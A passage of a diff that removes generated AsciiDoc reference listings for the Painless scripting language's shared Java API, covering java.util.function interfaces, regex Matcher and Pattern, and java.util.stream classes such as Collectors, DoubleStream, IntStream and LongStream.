-* double {java11-javadoc}/java.base/java/util/function/ToDoubleBiFunction.html#applyAsDouble(java.lang.Object,java.lang.Object)[applyAsDouble](def, def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToDoubleFunction]]
-==== ToDoubleFunction
-* double {java11-javadoc}/java.base/java/util/function/ToDoubleFunction.html#applyAsDouble(java.lang.Object)[applyAsDouble](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToIntBiFunction]]
-==== ToIntBiFunction
-* int {java11-javadoc}/java.base/java/util/function/ToIntBiFunction.html#applyAsInt(java.lang.Object,java.lang.Object)[applyAsInt](def, def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToIntFunction]]
-==== ToIntFunction
-* int {java11-javadoc}/java.base/java/util/function/ToIntFunction.html#applyAsInt(java.lang.Object)[applyAsInt](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToLongBiFunction]]
-==== ToLongBiFunction
-* long {java11-javadoc}/java.base/java/util/function/ToLongBiFunction.html#applyAsLong(java.lang.Object,java.lang.Object)[applyAsLong](def, def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToLongFunction]]
-==== ToLongFunction
-* long {java11-javadoc}/java.base/java/util/function/ToLongFunction.html#applyAsLong(java.lang.Object)[applyAsLong](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-UnaryOperator]]
-==== UnaryOperator
-* static UnaryOperator {java11-javadoc}/java.base/java/util/function/UnaryOperator.html#identity()[identity]()
-* Function {java11-javadoc}/java.base/java/util/function/Function.html#andThen(java.util.function.Function)[andThen](Function)
-* def {java11-javadoc}/java.base/java/util/function/Function.html#apply(java.lang.Object)[apply](def)
-* Function {java11-javadoc}/java.base/java/util/function/Function.html#compose(java.util.function.Function)[compose](Function)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-util-regex"]
-=== Shared API for package java.util.regex
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-Matcher]]
-==== Matcher
-* static null {java11-javadoc}/java.base/java/util/regex/Matcher.html#quoteReplacement(java.lang.String)[quoteReplacement](null)
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#end()[end]()
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#end(int)[end](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#find()[find]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#find(int)[find](int)
-* null {java11-javadoc}/java.base/java/util/regex/Matcher.html#group()[group]()
-* null {java11-javadoc}/java.base/java/util/regex/Matcher.html#group(int)[group](int)
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#groupCount()[groupCount]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#hasAnchoringBounds()[hasAnchoringBounds]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#hasTransparentBounds()[hasTransparentBounds]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#hitEnd()[hitEnd]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#lookingAt()[lookingAt]()
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#matches()[matches]()
-* null namedGroup(null)
-* Pattern {java11-javadoc}/java.base/java/util/regex/Matcher.html#pattern()[pattern]()
-* Matcher {java11-javadoc}/java.base/java/util/regex/Matcher.html#region(int,int)[region](int, int)
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#regionEnd()[regionEnd]()
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#regionStart()[regionStart]()
-* null {java11-javadoc}/java.base/java/util/regex/Matcher.html#replaceAll(java.lang.String)[replaceAll](null)
-* null {java11-javadoc}/java.base/java/util/regex/Matcher.html#replaceFirst(java.lang.String)[replaceFirst](null)
-* boolean {java11-javadoc}/java.base/java/util/regex/Matcher.html#requireEnd()[requireEnd]()
-* Matcher {java11-javadoc}/java.base/java/util/regex/Matcher.html#reset()[reset]()
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#start()[start]()
-* int {java11-javadoc}/java.base/java/util/regex/Matcher.html#start(int)[start](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Matcher {java11-javadoc}/java.base/java/util/regex/Matcher.html#useAnchoringBounds(boolean)[useAnchoringBounds](boolean)
-* Matcher {java11-javadoc}/java.base/java/util/regex/Matcher.html#usePattern(java.util.regex.Pattern)[usePattern](Pattern)
-* Matcher {java11-javadoc}/java.base/java/util/regex/Matcher.html#useTransparentBounds(boolean)[useTransparentBounds](boolean)
-
-
-[[painless-api-reference-shared-Pattern]]
-==== Pattern
-* static null {java11-javadoc}/java.base/java/util/regex/Pattern.html#quote(java.lang.String)[quote](null)
-* Predicate {java11-javadoc}/java.base/java/util/regex/Pattern.html#asPredicate()[asPredicate]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/regex/Pattern.html#flags()[flags]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Matcher {java11-javadoc}/java.base/java/util/regex/Pattern.html#matcher(java.lang.CharSequence)[matcher](CharSequence)
-* null {java11-javadoc}/java.base/java/util/regex/Pattern.html#pattern()[pattern]()
-* null[] {java11-javadoc}/java.base/java/util/regex/Pattern.html#split(java.lang.CharSequence)[split](CharSequence)
-* null[] {java11-javadoc}/java.base/java/util/regex/Pattern.html#split(java.lang.CharSequence,int)[split](CharSequence, int)
-* Stream {java11-javadoc}/java.base/java/util/regex/Pattern.html#splitAsStream(java.lang.CharSequence)[splitAsStream](CharSequence)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-util-stream"]
-=== Shared API for package java.util.stream
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-BaseStream]]
-==== BaseStream
-* void {java11-javadoc}/java.base/java/util/stream/BaseStream.html#close()[close]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/stream/BaseStream.html#isParallel()[isParallel]()
-* Iterator {java11-javadoc}/java.base/java/util/stream/BaseStream.html#iterator()[iterator]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#sequential()[sequential]()
-* Spliterator {java11-javadoc}/java.base/java/util/stream/BaseStream.html#spliterator()[spliterator]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#unordered()[unordered]()
-
-
-[[painless-api-reference-shared-Collector]]
-==== Collector
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collector.html#of(java.util.function.Supplier,java.util.function.BiConsumer,java.util.function.BinaryOperator,java.util.stream.Collector$Characteristics%5B%5D)[of](Supplier, BiConsumer, BinaryOperator, Collector.Characteristics[])
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collector.html#of(java.util.function.Supplier,java.util.function.BiConsumer,java.util.function.BinaryOperator,java.util.function.Function,java.util.stream.Collector$Characteristics%5B%5D)[of](Supplier, BiConsumer, BinaryOperator, Function, Collector.Characteristics[])
-* BiConsumer {java11-javadoc}/java.base/java/util/stream/Collector.html#accumulator()[accumulator]()
-* Set {java11-javadoc}/java.base/java/util/stream/Collector.html#characteristics()[characteristics]()
-* BinaryOperator {java11-javadoc}/java.base/java/util/stream/Collector.html#combiner()[combiner]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Function {java11-javadoc}/java.base/java/util/stream/Collector.html#finisher()[finisher]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Supplier {java11-javadoc}/java.base/java/util/stream/Collector.html#supplier()[supplier]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Collector-Characteristics]]
-==== Collector.Characteristics
-* static Collector.Characteristics {java11-javadoc}/java.base/java/util/stream/Collector$Characteristics.html#CONCURRENT[CONCURRENT]
-* static Collector.Characteristics {java11-javadoc}/java.base/java/util/stream/Collector$Characteristics.html#IDENTITY_FINISH[IDENTITY_FINISH]
-* static Collector.Characteristics {java11-javadoc}/java.base/java/util/stream/Collector$Characteristics.html#UNORDERED[UNORDERED]
-* static Collector.Characteristics {java11-javadoc}/java.base/java/util/stream/Collector$Characteristics.html#valueOf(java.lang.String)[valueOf](null)
-* static Collector.Characteristics[] {java11-javadoc}/java.base/java/util/stream/Collector$Characteristics.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Collectors]]
-==== Collectors
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#averagingDouble(java.util.function.ToDoubleFunction)[averagingDouble](ToDoubleFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#averagingInt(java.util.function.ToIntFunction)[averagingInt](ToIntFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#averagingLong(java.util.function.ToLongFunction)[averagingLong](ToLongFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#collectingAndThen(java.util.stream.Collector,java.util.function.Function)[collectingAndThen](Collector, Function)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#counting()[counting]()
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#groupingBy(java.util.function.Function)[groupingBy](Function)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#groupingBy(java.util.function.Function,java.util.stream.Collector)[groupingBy](Function, Collector)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#groupingBy(java.util.function.Function,java.util.function.Supplier,java.util.stream.Collector)[groupingBy](Function, Supplier, Collector)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#joining()[joining]()
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#joining(java.lang.CharSequence)[joining](CharSequence)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#joining(java.lang.CharSequence,java.lang.CharSequence,java.lang.CharSequence)[joining](CharSequence, CharSequence, CharSequence)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#mapping(java.util.function.Function,java.util.stream.Collector)[mapping](Function, Collector)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#maxBy(java.util.Comparator)[maxBy](Comparator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#minBy(java.util.Comparator)[minBy](Comparator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#partitioningBy(java.util.function.Predicate)[partitioningBy](Predicate)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#partitioningBy(java.util.function.Predicate,java.util.stream.Collector)[partitioningBy](Predicate, Collector)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#reducing(java.util.function.BinaryOperator)[reducing](BinaryOperator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#reducing(java.lang.Object,java.util.function.BinaryOperator)[reducing](def, BinaryOperator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#reducing(java.lang.Object,java.util.function.Function,java.util.function.BinaryOperator)[reducing](def, Function, BinaryOperator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summarizingDouble(java.util.function.ToDoubleFunction)[summarizingDouble](ToDoubleFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summarizingInt(java.util.function.ToIntFunction)[summarizingInt](ToIntFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summarizingLong(java.util.function.ToLongFunction)[summarizingLong](ToLongFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summingDouble(java.util.function.ToDoubleFunction)[summingDouble](ToDoubleFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summingInt(java.util.function.ToIntFunction)[summingInt](ToIntFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#summingLong(java.util.function.ToLongFunction)[summingLong](ToLongFunction)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toCollection(java.util.function.Supplier)[toCollection](Supplier)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toList()[toList]()
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toMap(java.util.function.Function,java.util.function.Function)[toMap](Function, Function)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toMap(java.util.function.Function,java.util.function.Function,java.util.function.BinaryOperator)[toMap](Function, Function, BinaryOperator)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toMap(java.util.function.Function,java.util.function.Function,java.util.function.BinaryOperator,java.util.function.Supplier)[toMap](Function, Function, BinaryOperator, Supplier)
-* static Collector {java11-javadoc}/java.base/java/util/stream/Collectors.html#toSet()[toSet]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleStream]]
-==== DoubleStream
-* static DoubleStream.Builder {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#builder()[builder]()
-* static DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#concat(java.util.stream.DoubleStream,java.util.stream.DoubleStream)[concat](DoubleStream, DoubleStream)
-* static DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#empty()[empty]()
-* static DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#of(double%5B%5D)[of](double[])
-* boolean {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#allMatch(java.util.function.DoublePredicate)[allMatch](DoublePredicate)
-* boolean {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#anyMatch(java.util.function.DoublePredicate)[anyMatch](DoublePredicate)
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#average()[average]()
-* Stream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#boxed()[boxed]()
-* void {java11-javadoc}/java.base/java/util/stream/BaseStream.html#close()[close]()
-* def {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#collect(java.util.function.Supplier,java.util.function.ObjDoubleConsumer,java.util.function.BiConsumer)[collect](Supplier, ObjDoubleConsumer, BiConsumer)
-* long {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#count()[count]()
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#distinct()[distinct]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#filter(java.util.function.DoublePredicate)[filter](DoublePredicate)
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#findAny()[findAny]()
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#findFirst()[findFirst]()
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#flatMap(java.util.function.DoubleFunction)[flatMap](DoubleFunction)
-* void {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#forEach(java.util.function.DoubleConsumer)[forEach](DoubleConsumer)
-* void {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#forEachOrdered(java.util.function.DoubleConsumer)[forEachOrdered](DoubleConsumer)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/stream/BaseStream.html#isParallel()[isParallel]()
-* PrimitiveIterator.OfDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#iterator()[iterator]()
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#limit(long)[limit](long)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#map(java.util.function.DoubleUnaryOperator)[map](DoubleUnaryOperator)
-* IntStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#mapToInt(java.util.function.DoubleToIntFunction)[mapToInt](DoubleToIntFunction)
-* LongStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#mapToLong(java.util.function.DoubleToLongFunction)[mapToLong](DoubleToLongFunction)
-* Stream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#mapToObj(java.util.function.DoubleFunction)[mapToObj](DoubleFunction)
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#max()[max]()
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#min()[min]()
-* boolean {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#noneMatch(java.util.function.DoublePredicate)[noneMatch](DoublePredicate)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#peek(java.util.function.DoubleConsumer)[peek](DoubleConsumer)
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#reduce(java.util.function.DoubleBinaryOperator)[reduce](DoubleBinaryOperator)
-* double {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#reduce(double,java.util.function.DoubleBinaryOperator)[reduce](double, DoubleBinaryOperator)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#sequential()[sequential]()
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#skip(long)[skip](long)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#sorted()[sorted]()
-* Spliterator.OfDouble {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#spliterator()[spliterator]()
-* double {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#sum()[sum]()
-* DoubleSummaryStatistics {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#summaryStatistics()[summaryStatistics]()
-* double[] {java11-javadoc}/java.base/java/util/stream/DoubleStream.html#toArray()[toArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#unordered()[unordered]()
-
-
-[[painless-api-reference-shared-DoubleStream-Builder]]
-==== DoubleStream.Builder
-* void {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#accept(double)[accept](double)
-* DoubleStream.Builder {java11-javadoc}/java.base/java/util/stream/DoubleStream$Builder.html#add(double)[add](double)
-* DoubleConsumer {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#andThen(java.util.function.DoubleConsumer)[andThen](DoubleConsumer)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/DoubleStream$Builder.html#build()[build]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntStream]]
-==== IntStream
-* static IntStream.Builder {java11-javadoc}/java.base/java/util/stream/IntStream.html#builder()[builder]()
-* static IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#concat(java.util.stream.IntStream,java.util.stream.IntStream)[concat](IntStream, IntStream)
-* static IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#empty()[empty]()
-* static IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#of(int%5B%5D)[of](int[])
-* static IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#range(int,int)[range](int, int)
-* static IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#rangeClosed(int,int)[rangeClosed](int, int)
-* boolean {java11-javadoc}/java.base/java/util/stream/IntStream.html#allMatch(java.util.function.IntPredicate)[allMatch](IntPredicate)
-* boolean {java11-javadoc}/java.base/java/util/stream/IntStream.html#anyMatch(java.util.function.IntPredicate)[anyMatch](IntPredicate)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#asDoubleStream()[asDoubleStream]()
-* LongStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#asLongStream()[asLongStream]()
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/IntStream.html#average()[average]()
-* Stream {java11-javadoc}/java.base/java/util/stream/IntStream.html#boxed()[boxed]()
-* void {java11-javadoc}/java.base/java/util/stream/BaseStream.html#close()[close]()
-* def {java11-javadoc}/java.base/java/util/stream/IntStream.html#collect(java.util.function.Supplier,java.util.function.ObjIntConsumer,java.util.function.BiConsumer)[collect](Supplier, ObjIntConsumer, BiConsumer)
-* long {java11-javadoc}/java.base/java/util/stream/IntStream.html#count()[count]()
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#distinct()[distinct]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#filter(java.util.function.IntPredicate)[filter](IntPredicate)
-* OptionalInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#findAny()[findAny]()
-* OptionalInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#findFirst()[findFirst]()
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#flatMap(java.util.function.IntFunction)[flatMap](IntFunction)
-* void {java11-javadoc}/java.base/java/util/stream/IntStream.html#forEach(java.util.function.IntConsumer)[forEach](IntConsumer)
-* void {java11-javadoc}/java.base/java/util/stream/IntStream.html#forEachOrdered(java.util.function.IntConsumer)[forEachOrdered](IntConsumer)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/stream/BaseStream.html#isParallel()[isParallel]()
-* PrimitiveIterator.OfInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#iterator()[iterator]()
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#limit(long)[limit](long)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#map(java.util.function.IntUnaryOperator)[map](IntUnaryOperator)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#mapToDouble(java.util.function.IntToDoubleFunction)[mapToDouble](IntToDoubleFunction)
-* LongStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#mapToLong(java.util.function.IntToLongFunction)[mapToLong](IntToLongFunction)
-* Stream {java11-javadoc}/java.base/java/util/stream/IntStream.html#mapToObj(java.util.function.IntFunction)[mapToObj](IntFunction)
-* OptionalInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#max()[max]()
-* OptionalInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#min()[min]()
-* boolean {java11-javadoc}/java.base/java/util/stream/IntStream.html#noneMatch(java.util.function.IntPredicate)[noneMatch](IntPredicate)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#peek(java.util.function.IntConsumer)[peek](IntConsumer)
-* OptionalInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#reduce(java.util.function.IntBinaryOperator)[reduce](IntBinaryOperator)
-* int {java11-javadoc}/java.base/java/util/stream/IntStream.html#reduce(int,java.util.function.IntBinaryOperator)[reduce](int, IntBinaryOperator)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#sequential()[sequential]()
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#skip(long)[skip](long)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream.html#sorted()[sorted]()
-* Spliterator.OfInt {java11-javadoc}/java.base/java/util/stream/IntStream.html#spliterator()[spliterator]()
-* int {java11-javadoc}/java.base/java/util/stream/IntStream.html#sum()[sum]()
-* IntSummaryStatistics {java11-javadoc}/java.base/java/util/stream/IntStream.html#summaryStatistics()[summaryStatistics]()
-* int[] {java11-javadoc}/java.base/java/util/stream/IntStream.html#toArray()[toArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#unordered()[unordered]()
-
-
-[[painless-api-reference-shared-IntStream-Builder]]
-==== IntStream.Builder
-* void {java11-javadoc}/java.base/java/util/function/IntConsumer.html#accept(int)[accept](int)
-* IntStream.Builder {java11-javadoc}/java.base/java/util/stream/IntStream$Builder.html#add(int)[add](int)
-* IntConsumer {java11-javadoc}/java.base/java/util/function/IntConsumer.html#andThen(java.util.function.IntConsumer)[andThen](IntConsumer)
-* IntStream {java11-javadoc}/java.base/java/util/stream/IntStream$Builder.html#build()[build]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongStream]]
-==== LongStream
-* static LongStream.Builder {java11-javadoc}/java.base/java/util/stream/LongStream.html#builder()[builder]()
-* static LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#concat(java.util.stream.LongStream,java.util.stream.LongStream)[concat](LongStream, LongStream)
-* static LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#empty()[empty]()
-* static LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#of(long%5B%5D)[of](long[])
-* static LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#range(long,long)[range](long, long)
-* static LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#rangeClosed(long,long)[rangeClosed](long, long)
-* boolean {java11-javadoc}/java.base/java/util/stream/LongStream.html#allMatch(java.util.function.LongPredicate)[allMatch](LongPredicate)
-* boolean {java11-javadoc}/java.base/java/util/stream/LongStream.html#anyMatch(java.util.function.LongPredicate)[anyMatch](LongPredicate)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#asDoubleStream()[asDoubleStream]()
-* OptionalDouble {java11-javadoc}/java.base/java/util/stream/LongStream.html#average()[average]()
-* Stream {java11-javadoc}/java.base/java/util/stream/LongStream.html#boxed()[boxed]()
-* void {java11-javadoc}/java.base/java/util/stream/BaseStream.html#close()[close]()
-* def {java11-javadoc}/java.base/java/util/stream/LongStream.html#collect(java.util.function.Supplier,java.util.function.ObjLongConsumer,java.util.function.BiConsumer)[collect](Supplier, ObjLongConsumer, BiConsumer)
-* long {java11-javadoc}/java.base/java/util/stream/LongStream.html#count()[count]()
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#distinct()[distinct]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#filter(java.util.function.LongPredicate)[filter](LongPredicate)
-* OptionalLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#findAny()[findAny]()
-* OptionalLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#findFirst()[findFirst]()
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#flatMap(java.util.function.LongFunction)[flatMap](LongFunction)
-* void {java11-javadoc}/java.base/java/util/stream/LongStream.html#forEach(java.util.function.LongConsumer)[forEach](LongConsumer)
-* void {java11-javadoc}/java.base/java/util/stream/LongStream.html#forEachOrdered(java.util.function.LongConsumer)[forEachOrdered](LongConsumer)
